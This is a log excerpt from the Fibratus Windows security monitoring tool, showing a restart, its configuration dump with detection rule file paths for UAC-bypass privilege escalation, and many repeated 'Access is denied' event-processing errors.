parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:15+01:00 level=error msg=event processing failure: The parameter is incorrect. source=aggregator/aggregator.go:191 +time=2025-11-27T01:45:34+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-27T01:45:34+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:45:35+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-27T01:46:37+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-27T01:46:37+01:00 level=info msg=bootstrapping with pid 14412. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-27T01:46:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true to=>[] content-type=>text/html enabled=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-images=>false] + eventsource .................... [ min-buffers=>16 enable-audit-api=>true flush-interval=>1s enable-threadpool=>false stack-enrichment=>true enable-vamap=>true enable-net=>true enable-fileio=>true enable-image=>true buffer-size=>512 enable-dns=>false enable-registry=>true enable-thread=>true enable-handle=>false enable-mem=>true max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]]] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 formatter=>text max-age=>0 max-size=>100 log-stdout=>true] + output ......................... [ console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] http=>[ timeout=>5s enable-gzip=>false serializer=>json endpoints=>[] enabled=>false tls-insecure-skip-verify=>false method=>POST] amqp=>[ url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus passive=>false delivery-mode=>transient enabled=>false vhost=>/ durable=>false routing-key=>fibratus exchange-type=>topic] elasticsearch=>[ index-name=>fibratus servers=>[http://127.0.0.1:9200] bulk-workers=>1 sniff=>false flush-period=>1s gzip-compression=>false healthcheck=>true template-name=>fibratus enabled=>false timeout=>5s trace-log=>false healthcheck-interval=>10s healthcheck-timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] read-symbols=>false read-resources=>false read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-registry=>false excluded-procs=>[] enabled=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s fastscan=>true excluded-files=>[] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-27T01:46:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:46:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:41+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:42+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 +time=2025-11-27T01:46:43+01:00 level=error msg=event processing failure: Access is denied. source=aggregator/aggregator.go:191 